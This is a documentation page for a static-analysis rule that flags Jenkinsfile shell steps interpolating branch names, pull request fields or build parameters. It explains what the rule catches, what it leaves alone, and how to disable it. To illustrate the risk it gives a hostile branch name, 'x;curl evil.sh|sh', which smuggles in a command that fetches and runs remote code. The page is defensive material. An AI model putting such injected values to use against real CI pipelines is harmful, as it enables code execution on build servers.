> ## Documentation Index
> Fetch the complete documentation index at: https://loadwise.mintlify.site/llms.txt
> Use this file to discover all available pages before exploring further.

# jenkinsfile-script-injection

> A Jenkinsfile shell step interpolates a branch name, pull request field or build parameter into its script.

## What it flags

A `sh`, `bat`, `powershell` or `pwsh` step whose script is a Groovy double-quoted or triple-double-quoted string that interpolates a value someone outside the pipeline chooses: `BRANCH_NAME`, `GIT_BRANCH`, `TAG_NAME`, `CHANGE_BRANCH`, `CHANGE_TITLE`, `CHANGE_FORK` and the `CHANGE_AUTHOR` fields (bare, as `env.NAME` or `env['NAME']`), or a build parameter (`params.NAME`). Groovy substitutes the value before the shell runs, so a branch called `x;curl evil.sh|sh` or a crafted parameter becomes shell code. Both `${...}` and `$name` forms count. The script is the first argument or `script:`; other arguments such as `label:` are not run. Files named `Jenkinsfile`, `Jenkinsfile.*` and `*.jenkinsfile` are checked. [Jenkins docs](https://www.jenkins.io/doc/book/pipeline/jenkinsfile/#injection-via-interpolation)

Not flagged: single-quoted and triple-single-quoted scripts, where the shell expands `$BRANCH_NAME` as data; escaped `\$`; trusted values such as `BUILD_NUMBER` or `GIT_COMMIT`; expressions that compare or convert the value (`==`, `.toInteger()`), which yield a fixed word or a number; the condition of a ternary, while each of its results is checked; and parameters the same file declares with `booleanParam` or `choice`, which only accept their declared values.

```groovy theme={null}
sh 'git checkout "$BRANCH_NAME"'
```

## Configuration

Set the rule to `"off"` in `loadwise.config.json` to drop its findings:

```json theme={null}
{
  "rules": { "jenkinsfile-script-injection": "off" }
}
```


This documentation is built and hosted on [Mintlify](https://mintlify.com), a developer documentation platform.